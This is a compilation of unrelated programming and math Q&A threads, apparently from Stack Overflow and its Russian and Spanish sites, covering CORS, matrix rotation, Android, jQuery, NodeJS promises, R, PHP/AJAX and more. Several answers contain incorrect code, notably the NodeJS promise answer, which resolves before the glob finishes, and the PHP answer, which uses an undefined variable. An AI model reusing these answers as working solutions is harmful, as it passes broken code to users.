Cross-origin issues and CORS solutions are in a more general category of web security problems. They aren't Breeze-specific. We plan to post a topic on CORS + Breeze in the "Cool Breezes" section of the Breeze web site.

UPDATE: 10 Dec 2013
This sample uses a primitive CORS implementation that we no longer recommend if you have upgraded to Web API2. Please read this excellent article "CORS Support in ASP.NET Web API 2" which explains basic CORS and how to engage Web API2 CORS support.
The rest of this answer remains as originally written.

Todo Sample with CORS
Until then, take a look at the code for the Todo Sample. The server for that sample is setup for CORS, has been deployed to todo.breezejs.com, and you can see it in action by looking at the jsFiddle at the bottom of the Breeze Todo Sample topic page.
Four points of interest:

*

*App_Start/BreezeSimpleCorsHandler.cs does the work

*App_Start/BreezeWebApiConfig.cs turns it on

// CORS enabled on this server
GlobalConfiguration.Configuration.MessageHandlers.Add(new BreezeSimpleCorsHandler());

*

*A Web.config  line you'll need for IIS7 (not needed for IIS8 or VS2012's IIS Express)

*Scripts/app/dataservice.js is ready to point to a foreign server; see this line:
// * Cross origin service example  *
//var serviceName = 'http://todo.breezejs.com/api/todos'; // controller in different origin
Hope that tides you over for now.


text:
Q: Is there any easy way to rotate the values of a matrix/array? So, let's say I have the following matrix/array -
    [0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 0 1 1 1 0 0 0 0 0
     0 0 0 1 1 1 1 0 0 0 0 0
     0 0 1 1 1 1 1 1 0 0 0 0
     0 0 1 1 1 1 1 1 0 0 0 0
     0 0 0 1 1 1 1 0 0 0 0 0
     0 0 0 0 1 1 0 0 0 0 0 0
     0 0 0 0 0 0 0 0 0 0 0 0]

It would be fairly trivial to write  something that would translate these values up and down. What if I wanted to rotate it by an angle that isn't a multiple of 90 degrees? I know that It is obviously impossible to get the exact same shape (made of 1s), because of the nature of the grid. The idea that comes to mind is converting each value of 1 to a coordinate vector. Then it would amount to rotating the coordinates (which should be more simple) about a point. One could then write something which would take the coordinates, and compare them to the matrix grid, and if there is a point in the right box, it will be filled. I know I'll also have to find a center around which to rotate.
Does this seem like a reasonable way to do this? If anyone has a better idea, I'm all ears. I know with a small grid like this, the shape would probably be entirely different, however if I had a large shape represented by 1s, in a large grid, the difference between representations would be smaller.

A: First of all, rotating a shape like that with only 1's and 0's at non 90 degree angles is not really going to look much like the original at all, when it's done at such a low "resolution". However, I would recommend looking into rotation matrices. Like you said, you would probably want to find each value as a coordinate pair, and rotate it around the center. It would probably be easier if you made this a two-dimensional array. Good luck!

A: I think this should work:
from math import sin, cos, atan2, radians
i0,j0 = 0,0 #point around which you'll rotate
alpha = radians(3) #3 degrees

B = np.zeros(A.shape)
for i,j in np.swapaxes(np.where(A==1),0,1):
    di = i-i0
    dj = j-j0
    dist = (di**2 + dj**2)**0.5
    ang = atan2(dj,di)

    pi = round(sin(ang+alpha)*dist) + i0
    pj = round(cos(ang+alpha)*dist) + j0
    B[pi][pj] = 1

But, please, don't forget about segmentation fault!
B array should be much bigger than A and origin should be (optimally) in the middle of the array.


text:
Q: Passing arguments while running selenium webdriver for Python I am using selenium python webdriver for my python test cases.
I have a python script NowSpots_Traffic.py which I'm trying to run from Ubuntu terminal (something similar to command prompt in windows)
python /home/vijay/Projects/SeleniumScripts/NowSpots_Traffic.py samuel secrete
where samuel and secrete are two arguments which I need to pass to my python script NowSpots_Traffic.py
I followed the instructions found at Running Tests in Python with Selenium 2 and WebDriver
 section "Multiple browsers and multiple platforms".
But I get the following error message
Traceback (most recent call last):
  File "/home/vijay/Projects/SeleniumScripts/NowSpots_Traffic.py", line 43, in <module>
    unittest.main()
  File "/usr/lib/python2.7/unittest/main.py", line 94, in __init__
    self.parseArgs(argv)
  File "/usr/lib/python2.7/unittest/main.py", line 152, in parseArgs
    self.createTests()
  File "/usr/lib/python2.7/unittest/main.py", line 161, in createTests
    self.module)
  File "/usr/lib/python2.7/unittest/loader.py", line 128, in loadTestsFromNames
    suites = [self.loadTestsFromName(name, module) for name in names]
  File "/usr/lib/python2.7/unittest/loader.py", line 100, in loadTestsFromName
    parent, obj = obj, getattr(obj, part)
AttributeError: 'module' object has no attribute 'samuel'

A: The Unittest.main() function uses the arguments you pass in to determine test cases to run. See here: Test Discovery
If your script also needs arguments, you will want to remove them from sys.argv before calling
unittest.main()


text:
Q: How to increase the compatibility of the apk I am making an app and the apk file that I am installing on my phone(API 23) using USB is not supporting on other devices(I have shared the apk and try to install it on a device of API 25).But another apk can be installed on that device using USB which is again not supporting on my phone.So,the apk of my app is not compatible.
And one more thing,the layouts are becoming different in different devices and sometimes 2 images are overlapping in one while in another device it is completely fine.
So I want to increase the compatibility of my app. Please help me out.
My manifest.xml file:
    ?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.ankush.anthroplace.anthroplace">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".SplashActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".MainActivity"
            android:label="@string/title_activity_main"
            android:theme="@style/AppTheme.NoActionBar" />
        <activity android:name=".AboutUsActivity" />
        <activity android:name=".TestimonialActivity" />
        <activity android:name=".LoginActivity" />
        <activity android:name=".RegisterActivity" />
        <activity
            android:name=".ServicesActivity"
            android:label="@string/title_activity_services"
            android:theme="@style/AppTheme.NoActionBar" />
        <activity android:name=".FormActivity"></activity>
    </application>

</manifest>

A: Check the API level you are targeting on your project.
If you're working with Android Studio, look on the file "build.gradle (Module: app)" and change the "minSdkVersion" attribute.
The lower the number you set on that attribute, the more compatible will be your app, but you should loose some features as well.

A: try to put minimum sdk API level 19.
by targeting minimum apk level 19 your app will run on approximately more than 90% of android devices.
and compile your app with the latest build tool
you can change minimum sdk version from build.gradle file
   android {
compileSdkVersion 26
defaultConfig {
    applicationId "profile.com.demotest"
    minSdkVersion 19
    targetSdkVersion 26
    versionCode 1
    versionName "1.0"
    testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
    release {
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
    }
}

}

A: Check Android Dashboard you will get better idea about choosing minimum api level


text:
Q: Как в Text View импортировать данные из iCloud, если в iCloud записи имеют тип String(List) В iCloud есть база данных TectDB.
В TectDB есть таблица с полем String(List).
В программе есть TableViewController.

Как в TextView импортировать данные из String(List)?
Следующий код не работает:
(cell.textView.text = record.object(forKey: "ListStr") as! String

Ошибка: Could not cast value of type '__NSArrayM' (0x1ab9a57a0) to
'NSString' (0x1ab9b5ae8).
2017-09-15 14:53:27.322654+0800 Cloud[2335:931930] Could not cast value of
type '__NSArrayM' (0x1ab9a57a0) to 'NSString' (0x1ab9b5ae8)

A: Нашел решение. На сколько оно правильное не знаю, но сработало.
Может у вас есть более изящное решение?
let ListStr:[String] = (record.object(forKey: "ListStr") as!
NSMutableArray) as! [String]
let Str = ListStr.joined(separator: "\n")
cell.textView.text = Str

В let Str = ListStr.joined(separator: "n\") можно использовать спецсимволы. Например: "\n" будет переводить на новую строку в тексте.


text:
Q: How to convert the string to Uri after storing in shared preferences? I have converted Uri into a string by using toString() method and stored in a shared preferences.
String path = uri.toString();

I would like to convert back to Uri so that I can set the image. I have tried
Uri.parse(path);

or
Uri.fromFile(new File(path));

However, none of them works. How can I set the string back to the Uri?

A: You can use the parse static method from Uri
Uri myUri = Uri.parse("http://stackoverflow.com")


text:
Q: Emulator Wifi is not working I am working on xamarin app using Visual studio 2015 enterprise.

Issue is that my emulator wifi is not connecting where as internet is working in my system. Please provide me the way or link through which we can solve this issue.


text:
Q: xcode quiz app: how do not repeat one quest. from plist file i have quiz app for the iPhone, i'm able to load random question from plist file and i want to ask about 20 questions; in my plist file i have 20 more, but i don't want that in one quiz session one question is repeated.
this is my plist file `
<key>Domanda1</key>

    <dict>

    <key>immagine</key>

    <string>hpv</string>

    <key>Titolo</key>

    <string>Domanda numero 1</string>

    <key>Risposta1</key>

    <string>Risposta primaD1</string>

    <key>Risposta2</key>

    <string>Risposta seconda</string>

    <key>Risposta3</key>

    <string>Risposta terza</string>

    <key>Risposta4</key>

    <string>Risposta quarta</string>

    <key>Soluzione</key>

    <integer>1</integer>

</dict>

<key>Domanda2</key>

.......
`
my view controller.m
-(void)creaDomanda {

//scelta casuale tra le varie disponibili

int randomValue =  (arc4random() % 20) + 1;

NSString *stringa = [NSString stringWithFormat:@"Domanda%i", randomValue];

// Apre il dictionary

dictionary = [plistData objectForKey:stringa];

// e stampa a schermo la domanda

label1.text = [dictionary valueForKey:@"Titolo"];

label1.textColor = [UIColor redColor];

.........
Any ideas?
thank's in advance

A: Create a mutable array and copy your questions into it in numerical order.  Select questions from the array using a random value.  When you ask a question, remove it from the array.  To generate a new random value, use the number of items still in the array instead of "20".

A: Try this.But I did for 20 random numbers.
NSMutableArray *array = [[NSMutableArray alloc] init];
BOOL isflag = NO;
int numberofquestions = 20;

for(int m =0; m<numberofquestions; m++)
{

    int question_number = (arc4random()%numberofquestions)+1;
    isflag = YES;

    for(int n = 0;n < (int)[array count];n++)
    {
        if([[array objectAtIndex:n] intValue] == question_number)
        {
            isflag = NO;
            m--;
            break;
        }
    }

    if(isflag == YES)
    {
        [array addObject:[NSString stringWithFormat:@"%d", question_number]];
    }
}

This array will give you the 20 random numbers without repeation.


text:
Q: Vuetify Email Rules hangs the web page when we type very long emails? I'm using the

VuetifyJs

form component for VueJS and I'm trying to add validation to the email when you input.
But when we type very long emails, it makes the web page unresponsive and freezes the email field. I can understand that very long emails are not valid and should be avoided but then it should not hang the page.
I am using the below email rule provided by on the form component page :
emailRules: [
  v => !!v || 'E-mail is required',
  v => /^\w+([.-]?\w+)*@\w+([.-]?\w+)*(\.\w{2,3})+$/.test(v) || 'E-
  mail must be valid'
]

You can reproduce the issue on the below CodePen URL. Please do not copy paste the email. You reproduce the issue only when you type it manually.
CodePen Url : https://codepen.io/dhnsh/pen/rKQpGb
Example Email Input : testnewlongemail@veryverylongemail.com

1) How can we validate the email in vuetify if its valid or not when you type ?
2) Is this a bug in the framework or something to do with the javascript behaviour ?

A: I did it like this, it work for me:
emailRules: [
   (v) => !!v || "Email is required",
   (v) => /.+@.+\..+/.test(v) || "Email must be valid",
]


text:
Q: Variance doesn't work with delegates with reference types a) Compiles
        Func<string, bool> f1 = (Func<object, bool>)null;

b) Not
        Func<int, bool> f2 = (Func<object, bool>)null;

Why value types are special here? Is contravariance broken with value types?

A: Generic variance only works with reference types, yes. (This is so that the CLR knows that everything's still just a reference, so the JITted code is still the same... the bits involved in a reference are the same whatever type you're talking about, whereas treating int as object requires a boxing conversion. Basically you can keep representational identity with reference types).
From the C# 4 spec, section 13.1.3.2:

A type T<A1, …, An> is variance-convertible to a type T<B1, …, Bn> if T is either an interface or a delegate type declared with the variant type parameters T<X1, …, Xn>, and for each variant type parameter Xi one of the following holds:

*

*Xi is covariant and an implicit reference or identity conversion exists from Ai to Bi

*Xi is contravariant and an implicit reference or identity conversion exists from Bi to Ai

*Xi is invariant and an identity conversion exists from Ai to Bi

It's the "implicit reference conversion" rather than just "implicit conversion" bit which is a problem for value types.
For much more detail around generic variance, see Eric Lippert's blog series on the topic.


text:
Q: Apply Jquery on dynamically shown/hidden elements I have a page which makes the menu to be drop down for responsive behaviour. So it is obvious that the select tag comes in picture only when it is smaller screen. I want to apply jquery to that select box and other two buttons added dynamically at that time.
I refer this question:
Event binding on dynamically created elements?
But it didn't help me solving out the problem.Can anyone please explain where I am going wrong?
I used this jquery to make it drop menu in my page.-just for reference if someone needs.
Here is what I tried:

                choose one

                choose one

list item 1

list item 2

list item 3

Edit - 1
Ok,i removed it as asked.it's now:
$(document).on("click","#shownav", function(){
        event.preventDefault();   // i want to prevent reloading of page too which doesn't work for now.

} );

$(document).on("click","#shownav", function(){
         alert("clicked"); // Still I am not getting this alert
         if($("#kat-drop").css("display")=="block"){

              $("#kat-drop").slideUp();
         }
         else{
              $("#kat-drop").slideDown();
         }

} );

Edit - 2
Neither it prevent reloading of page nor gives me alert.
 $(document).on("click","#shownav", function(event){
                event.preventDefault();   // i want to prevent reloading of page too which doesn't work for now.

        } );
 $(document).on("click","#shownav", function(event){
                alert("clicked");// not working yet

        } );

A: Just change your code from:
$(document).on("click",$("#shownav"), function(){

to this:
$(document).on("click", "#shownav", function(){

As, the proper syntax while using event delegation is like:
$( selector ).on( events, selector, handler)

UPDATE

But still it is refreshing the whole page which is the only thing i
  want to prevent along with hide/show the menu.

You just need to prevent the default click action of the anchor using .preventDefault() like:
 $(document).on("click", "#shownav", function(e){
      e.preventDefault();
      // your code here..
 });

Fiddle Demo

In your edited code:
$(document).on("click", "#shownav", function (event) {
    event.preventDefault();
});

$(document).on("click", "#shownav", function (event) {
    alert("clicked"); // not working yet
});

you have attached two event handlers to the same element. Just assign one event handler like this:
$(document).on("click", "#shownav", function (e) {
    e.preventDefault();
    alert("clicked");
});

and see the result like the fiddle demo I have provided.

A: The second parameter should be a string selector, you are passing a jQuery object
$(document).on("click","#shownav", function(){});

A: change this:
$(document).on("click",$("#shownav"), function(){

to this:
$(document).on("click","#shownav", function(){

update:
$(document).on("click","#shownav", function(event){ //<--pass the event here too
    event.preventDefault();// <-----------stop the default behavior of anchor
 });

Okay another one you can try:
$(function(){
     $( '#nav li:has(ul)' ).doubleTapToGo();
     $(document).on("click","#shownav", function(event){ //<--pass the event here too
        event.preventDefault();// <-----------stop the default behavior of anchor
     });
});// upto this-it runs fine giving me dropmenu for desired screen


text:
Q: ¿Problema con arrays? Buenos días amigos ya finalicé mi código el cual tiene como objetivo simular un torneo de baloncesto.
Primero se pedirá que se introduzca por teclado  8 nombres de equipos diferentes. Después de ingresarlos, se emparejaran (1° con 2°, 3° con 4°, 5° con 6° y 7° con 8°) por pantalla de esta manera:

Después de cada : se debe introducir un numero por teclado que deber ser 1 o 2. Si escribimos 1 gana el equipo de la izquierda (local) y si escribimos 2 el de la derecha (visitante). Después de la primera ronda y de meter todos los ganadores se mostraran emparejados el ganador del partido 1 contra  el del 2 y el 3 contra el del 4 de esta manera (suposición ganan equipo1, equipo3, equipo6 y equipo7):

Y nuevamente, despues de : ingresamos por teclado 1 o 2 dependiendo de quien gane (supongamos que equipo1 y equipo 6)

Metemos por teclado quien gana y finalmente (supongamos que gana el 6):
Ganador: Equipo 6
// El código funciona normal guarda los resultados en un arreglo para cada ronda(Excepto en la ultima no lo veo necesario debido a que solo se guardara un resultado) pero el problema es que no se como asociar estos resultados (1 o 2) a el arreglo que tiene la información de los equipos(ingresada al inicio del código). Por eso a partir de la segunda ronda mostrara es los resultados ( 1 o 2 ) en la parte donde van los nombres de los equipos. En conclusión el código al final me mostrara un "El ganador es: 1" y no el nombre del equipo.
ADJUNTO EL CÓDIGO
      String baloncesto [] = new String[8];
      int resultados1 [] = new int [4];
      int resultados2 [] = new int [2];
        int y = 0;
        int g = 0;
        int ñ = 0;
        int t = 0;
        int gana = 0;
        while(y<8){
        System.out.println("Ingrese nombre del equipo");
        Scanner sn = new Scanner (System.in);
        baloncesto[y]=sn.nextLine();
        y++;
        if(y==8){
          System.out.println("     Primera Ronda     ");
          for(int i  = 0; i<baloncesto.length-4; i++){
              System.out.println("1."+baloncesto[i*2]+" - "+"2."+baloncesto[(i*2)+1]+":");
        }
          while(g<4){
          Scanner sr = new Scanner(System.in);
          while(resultados1[g]!=1 && resultados1[g]!=2){
          resultados1[g]=sr.nextInt();
          }
          g++;
          if(g==4){
          System.out.println("     Primera Ronda     ");
              for(int s = 0; s<resultados1.length; s++){
              System.out.println("1."+baloncesto[s*2]+" -
                                          "+"2."+baloncesto[(s*2)+1]+":"+resultados1[s]);
        }
              System.out.println("     Segunda Ronda    ");
              for(int b = 0; b<2; b++){
                System.out.println("1."+resultados1[b*2]+" - "+"2."+resultados1[(b*2)+1]+":");

              }
              while(ñ<2){
               Scanner sv = new Scanner(System.in);
               while(resultados2[ñ]!=1 && resultados2[ñ]!=2){
               resultados2[ñ]=sv.nextInt();
               }
               ñ++;
               if(ñ==2){
               for(int q= 0; q<2; q++){
                System.out.println("1."+resultados1[q*2]+" -
                                                "+"2."+resultados1[(q*2)+1]+":"+resultados2[q]);

              }
               System.out.println("     Tercera Ronda    ");
               for(int c = 0; c<1; c++){
               System.out.println("1. "+resultados2[c*2]+" - "+"2."+resultados2[(c*2)+1]+":");
               }
               Scanner sp = new Scanner(System.in);
               while(gana !=1 && gana !=2){
               gana=sp.nextInt();

               }
               System.out.println("     Tercera Ronda    ");
               for(int e = 0; e<1; e++){
               System.out.println("1. "+resultados2[e*2]+" - "+"2."+resultados2[(e*2)+1]+":"+gana);
               }
               if(gana==1){
                   System.out.println("El ganador es : " + resultados2[t*2]);
               }
               else{
                  System.out.println("El ganador es : " + resultados2[t*2+1]);
               }
               }

              }
          }

          }

    }

    }

A: Creo que sería mejor si "reutilizaras" el array de equipos eliminando a los perdedores después de cada ronda así el array de equipos se reducirá a la mitad, es decir, al inicio empieza con 8, luego de poner los resultados queda con 4 equipos, luego con 2 y por último con el ganador, así puedes hacer torneos de 2, 4, 8, 16, etc. y por medio de un ciclo while lo vas manejando hasta que quede 1 equipo. Esto que te comento yo lo haría así:
public static void main(String args[]) {
    int cantidadEquipos = 8;
    int ronda = 1;
    String[] equipos = new String[cantidadEquipos];
    String[] ganadores = null;

    Scanner sn = new Scanner (System.in);

    // Ingresa el nombre de los equipos
    for(int i = 0; i < equipos.length; i++) {
        System.out.print("Ingrese nombre del equipo " + (i+1) + ": ");
        equipos[i] = sn.nextLine();
    }

    // Mientras haya más de 1 equipo todavía no hay campeón del torneo
    while(equipos.length > 1) {
        String rondaActual = "";
        switch (equipos.length) {
            case 2:
                rondaActual = "FINAL";
                break;
            case 4:
                rondaActual = "SEMIFINAL";
                break;
            default:
                rondaActual = "RONDA " + ronda;
                break;
        }

        // Imprime en pantalla los partidos de la ronda en ejecución
        System.out.println("--- " + rondaActual + " ---");
        for (int i = 0; i < equipos.length / 2; i++) {
            System.out.println(equipos[i * 2] + " vs " + equipos[i * 2 + 1]);
        }
        System.out.println("----------------");

        // Crea un array para guardar los ganadores de la ronda y pide al usuario que los ingrese partido por partido
        ganadores = new String[equipos.length / 2];
        for (int i = 0; i < equipos.length / 2; i++) {
            System.out.println("Partido: 1." + equipos[i * 2] + " - 2." + equipos[i * 2 + 1]);
            System.out.print("Ingrese al ganador: ");
            int ganador = sn.nextInt();
            switch (ganador) {
                case 1:
                    ganadores[i] = equipos[i * 2];
                    break;
                case 2:
                    ganadores[i] = equipos[i * 2 + 1];
                    break;
            }
            System.out.println("El ganador de " + equipos[i * 2] + " vs " + equipos[i * 2 + 1] + " es " + ganadores[i] + "\n");
        }
        equipos = ganadores;
        ronda++;
    }

    // Imprime al campeón del torneo
    System.out.println("--- CAMPEON ---");
    System.out.println(equipos[0]);
    System.out.println("---------------");

    sn.close();
}


text:
Q: How to select the row (the team) in which the score column is the highest number, in a data frame? In language R. Working with Data Frames.
The data frame is for keeping track of game scores for basketball. The rows represent different basketball teams. One of the columns represent overall score for the season.
How would I select the row (the team) that has highest score?

A: You can use which.max():
set.seed(1)
df = data.frame(team=letters[1:10],score=sample(1:10,10))
df[which.max(df$score),]

df:
   team score
1     a     3
2     b     4
3     c     5
4     d     7
5     e     2
6     f     8
7     g     9
8     h     6
9     i    10
10    j     1

Output:
  team score
9    i    10


text:
Q: PHP POST: Setting data variables dynamically from an array Hi all I'm pretty new to PHP and AJAX and all that good stuff and I'm a little stumped on how to proceed from  here in my code.
I have a form that is getting sent and I have an array (subcategories) which contains the form labels to retrieve the values of the fields. The fields and values are getting created dynamically based on a textfile that the user uploads so I don't have any way of knowing what they are.
var arrayLength = subcategories.length;
for (var i = 0; i < arrayLength; i++) {
  var eachfield = subcategories[i];
  //Do something

  //@C: selector is working fine, cleaning input
  var eachfield = $('#' + eachfield).val().trim();

  //push the appropriate values with the fixed stuff to a new array
  values.push(eachfield);
}

What I'm trying to do is now to set these variables to some name and send them through $data using AJAX and POST.
Something like the following if I was setting everything statically.
var data = {
  dimitypedata: dimitype,
  densitydata: density,
  velocitydata: velocity,
  temperaturedata: temperature,

  submitbtnclicked: "submitted"
};

//using the data and sending it through a post with promise handling
$.ajax({
  type: 'POST',
  url: "controller.php",
  data: data,
  success: function(response) {
    //alert("worked");
    //console.log(response);
    alert(response);
  },
  error: function() {
    alert("There was an error submitting the information");
  }
});

I'm not quite sure how to mix these two and it may be partially because of getting a confused and not yet being that great with POST and AJAX calls.
EDIT: It looks like my question was a bit unclear (sorry first post lol) I'm trying to dynamically push values that I take out of an HTML form field. The problem is that the form is generated depending on what the user chooses to upload to the site (so both the fields and the forms. My ultimate goal is to enable the user to edit the dynamically generated form based on a text file that they upload and be able to generate a new text file after editing it on the GUI after clicking on the submit button. I can do this if its static but I'm having trouble figuring out how to do the same if I don't know what the form will contain.
I'm trying to to my data object so I can use it in my AJAX call. Here's a little bit of the PHP code that I would use in the next step if the variables were static:
if(isset($_POST['submitbtnclicked']) && $_POST['submitbtnclicked'] == 'submitted') {
//new instance of model for use
    $model = new model();

$dimitypedata = $_POST['dimitypedata'];
$densitydata = $_POST['densitydata'];
$velocitydata = $_POST['velocitydata'];
$temperaturedata = $_POST['temperaturedata'];

A: For an exact answer, we need to see what the "subcategories" array look like.
If I understood correctly, you would like to put the values in an object instead of an array (values). So the first part would look like:
var data = {};
var arrayLength = subcategories.length;
for (var i = 0; i < arrayLength; i++) {
    //notice that now field name and field value go in separate variables
    var fieldName = subcategories[i];

    //@C: selector is working fine, cleaning input
     var fieldValue = $('#'+eachfield).val().trim();

     //push the appropriate values with the fixed stuff to a data object
     data[fieldName] = fieldValue;
}

//and then you send your gathered data
//using the data and sending it through a post with promise handling
$.ajax({
 type: 'POST',
 url: "controller.php",
 data: data,
 success: function(response) {
     //alert("worked");
     //console.log(response);
     alert(response);
   },
   error: function() {
        alert("There was an error submitting the information");
      }
 });

A: If you want to generate your 'data' object using 'values' variable, you can do the next:
values = []; // here your values collected previously
var data = {};
for (var key in values){
    data[key] = values[key];
}
//now you can use your data in AJAX


text:
Q: How can I extract decisions from a tree object of the R package rpart? I use the package rpartto model a classification/regression tree.
I have the variables x,y,s where x is in {-1,1}, y is continuous in [0,1] and s$is a factor with 3 levels.
I use
fit <- rpart(x~y+s, data=data, method="class")

The final model makes perfect sense, I can plot it using fancyRpartPlot(fit).
I can also prune the tree and only one decision is left:
fit = prune(fit,cp=0.1)

It says that $y$ needs to be smaller than some threshold. How can I extract this threshold? I would like to do bootstrap runs on the data set and keep the threshold in an array.

A: The field split in the rpart object holds the decision boundaries.
The solution is
threshold =  fit$split[1,foo]


text:
Q: activeadmin breadcrumb with params describe the structure:
- Projects(all projects)
-- Project 1(all KPI of Project 1)
--- KPI 1(all Tasks of KPI 1)
---- Task 1
---- Task 3
--- KPI 2
-- Project 2
please tell me how can I solve this problem.
I need that would be when an administrator is in the problem, he could go on the bread crumbs on a page with a list of tasks, but also to the parameters passed to it before choosing the filter from sidebar.
Is it possible?
From rus
мне нужно, что бы когда администратор находится в задаче, он мог по хлебным крошкам перейти на страницу со списком задач, но в адрес так же передавались параметры, которые он до этого выбирал в фильтре сайтбара. Возможно ли это?


text:
Q: $f(A\cap B) = f(A)\cap f(B)$ if $f$ is surjective If $f$ is injective, then the statement $f(A\cap B) = f(A)\cap f(B)$ holds, but what if $f$ is surjective (and not injective)?
Is the statement true as well?
I think that it is not true, but I am not sure whether my counterexample works:
Assume $f: X\rightarrow Y$, where $X=[-2,2]$ and $Y=[0,4]$ and $f(x) = x^2$.
Then $f$ is surjective. Now define $A=[-2,0]$ and $B=[0,2]$, then $f(A\cap B) = f(0) = 0$, whereas $f(A)\cap f(B) = [0,4]$.
Is this correct or is $f$ not surjective for the defined $A$ and $B$?

A: Your counter example works.
You may also consider the constant function  $ f :\{ 1,2 \} \to \{3\}$ with $A=\{1 \}$ and $B=\{2\}$.

A: When f is not injective we can not say the statement is true even if f is surjective as you see in your example.
The truth is $f(A\cap B)\subset f(A)\cap f(B)$. Let me prove: $y\in f(A\cap B)\iff \exists x\in A\cap B: y=f(x)\Rightarrow $ Since $x\in A$ and $ x\in B$ then $y=f(x)\in f(A)$ and $y=f(x)\in f( B) $$\Rightarrow y=f(x)\in f( A)\cap f(B)$
But we can't prove this $(f(A)\cap f(B)) \subset  f(A\cap B)$. Here is  the reason: Take $y\in f(A)\cap f(B)$ (we intend to say $y\in f(A\cap B)$). Then there is $a\in A$ and $b\in B$ such that $f(a)=f(b)=y$. Now to follow the proof we need to say $a=b$, but we can't.  Here is the point why we need injectivity.


text:
Q: NodeJS: синхронный цикл на примере заполнения объекта парами ключ-значение Никак не могу разобраться с промисами. Задача в исходном виде: наполнить объект objectWillBeFilled парами ключ-значение и вернуть его. В таком коде этого не произойдёт из-за асинхронности NodeJS:
'use strict';

const glob = require('glob');

function testFunction(){

    let objectWillBeFilled = {};

    glob(/* Glob шаблон */, (errors, files) => {
        files.forEach( (value, index, array) => {
            // наполняем objectWillBeFilled ...
        });
    });
    return objectWillBeFilled;
}

console.log(testFunction());

Пытался сделать таким образом, но видимо, недопонял чего-то с промисами:
function testFunction(){

    let objectWillBeFilled;

    let promise = new Promise( (resolve, redject) => {

        glob(/* Glob шаблон */, (errors, files) => {
            files.forEach( (value, index, array) => {
                // наполнение объекта objectWillBeFilled
            });
        });

        reject(objectWillBeFilled);

    });

    webpackEntryPointsPromise.then((objectWillBeFilled) => {
        return objectWillBeFilled;
    });

}

console.log(testFunction());

A: Вариант с callback (не знаю асинхронный ли glob):
'use strict';

const glob = require('glob');

function testFunction(callback){
    let objectWillBeFilled = {};
    glob(/* Glob шаблон */, (errors, files) => {
        files.forEach( (value, index, array) => {
            // наполняем objectWillBeFilled ...
        });
    });
    callback(objectWillBeFilled);
}

testFunction(function(result){
    console.log(result);
});

С промисами:
function testFunction(){
    let objectWillBeFilled;
    let promise = new Promise( (resolve, redject) => {
        glob(/* Glob шаблон */, (errors, files) => {
            files.forEach( (value, index, array) => {
                // наполнение объекта objectWillBeFilled
            });
        });
        resolve(objectWillBeFilled);
    });
    return promise;
}

testFunction().then((result)=>{
    console.log(result);
});


text:
Q: I bought "ECC" ram for my MacPro1,1 but system reports only shows FB-DIMM I have an old Mac Pro I decided to upgrade. I found a company on eBay selling "16GB 4X4GB DDR2 MEMORY RAM PC2-5300F 667MHz ECC FB-DIMM" for a good price so I bought two units (32GB total). (Kingston PN# F51272F51)
I installed the memory and all 32GB of the RAM is showing in System Report, but it does not show as ECC.
Here's about the Mac itself:

Here's the memory section:

According to Wikipedia, most Registered ("Buffered") RAM is also ECC, but Buffered RAM can also be non-ECC RAM.
Is the RAM I purchased ECC?

A: It's not showing as ECC because it's not ECC.

According to Wikipedia, most Registered ("Buffered") RAM is also ECC,
  it isn't always the case.

That's not exactly correct.  Registered memory has ECC functionality, but not all ECC is registered.  Kingston goes on to explain the difference in the FAQ:  What is the difference between registered, unbuffered, ECC and fully buffered memory?
Secondly, the memory you specified, the Kingston F51272F51 is not listed anywhere as being ECC.  It is listed as being Fully Buffered, however.
Finally, looking at the "supported systems" for this memory on Kingston's website, Apple is nowhere to be found.  So, while is technically works, it's not "correct."

Unfortunately, what you purchased on eBay was not accurately described.  The actual memory that you need from Kingston is KTD-WS667


text:
Q: Exported onnx model output differs from keras model output The weight value used in onnx and the weight value used in Keras are the same.
However, output value is different in actual reference. What is the problem?
Is it a problem with batch normalization?


text:
Q: javascript форматирование даты с учетом локального времени По запросу получаю переменную в таком формате:
var time = "25.07.2016 6:59:04";

Предполагается, что часовой пояс по умолчанию GMT0.
Подскажите, как мне вывести дату и время в таком же формате, только чтобы локальный пояс + летнее время были учтены?
Основная проблема, как дать понять функции, где в получаемой переменной 'time' день, а где месяц. Такой код работает, если число дня больше 12, но если дата, к примеру, 03.07.2016, день с месяцем меняются местами и теряется летний час (потому что меняется месяц, понятно).
var time = '13.07.2016 6:59:04';
var gmttime = Date.parse(time + 'GMT');
var d = new Date(gmttime);
var newdate = d.toString('dd.MM.yyyy HH:mm');
alert(newdate);

A:

var mytime = '12.11.2016 6:59:04';
var mytime2 = '03.07.2016 6:59:04';

var x = new Date(Date.parse(mytime + 'GMT')).valueOf();
var y = new Date(Date.parse(mytime2 + 'GMT')).valueOf();

document.write((new Date(x)).toString('MM.d.yyyy HH:mm:ss'));
document.write('<br/>');
document.write((new Date(y)).toString('MM.d.yyyy HH:mm:ss'));
<script src="http://datejs.googlecode.com/files/date.js"></script>

A: Разделить строку time по пробелу, потом две строки по точкам и двоеточиям.
Пропустить это через метод Date.UTC() - получится новая дата без учёта сдвига. Сделать этой дате getTimezoneOffset() и прибавить его к дате без сдвига. Преобразовать дату в строку, заново разделить как надо, пересобрать и присвоить time.

A: В итоге получилось справиться с задачей, правильно разбив строку time на элементы для указания нового формата. Может понадобиться кому.
<script src="http://datejs.googlecode.com/files/date.js"></script>

подключаем библиотеку date.js для того, чтобы в итоге проще вывести нужный формат времени 'dd.MM.yyyy HH:mm:ss'
var time = "03.09.2016 6:59:04";  //день.месяц.год

var re = /\.|\s|:/;
var dateParts = time.split(re);    //разбиваем строку на элементы

var date = new Date(dateParts[2], (dateParts[1] - 1), dateParts[0], dateParts[3], dateParts[4], dateParts[5]); //применяем полученные элементы
var gmtdate = new Date(date + 'GMT');  //указываем, что GMT0

document.write(gmtdate.toString('dd.MM.yyyy HH:mm:ss')); //получаем 03.09.2016 9:59:04 (для GMT+3)


text:
